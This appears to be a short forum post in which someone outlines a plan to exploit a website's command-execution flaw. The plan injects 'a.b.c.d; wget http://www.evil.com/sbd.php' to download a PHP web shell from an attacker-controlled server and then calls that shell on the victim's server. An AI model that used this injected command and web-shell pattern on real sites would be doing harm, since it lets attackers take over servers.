Thanks for your answers, a lame question indeed.
The situation I had in mind is as follows:
1. I found a website vulnerable to command execution.
2. I have a webserver (www.evil.com) under my control, where I host a PHP shell (sbd.php)
3. I wanted to send this file to the victim doing something like
a.b.c.d; wget http://www.evil.com/sbd.php
(supposed that the web server has wget installed, of course :P)
4. Be able to call the PHP shell, now under the webserver tree of the victim.
But I guess there's no way to circumvent the HTTP protocol, even with total control of the "attacking" webserver. Bummer!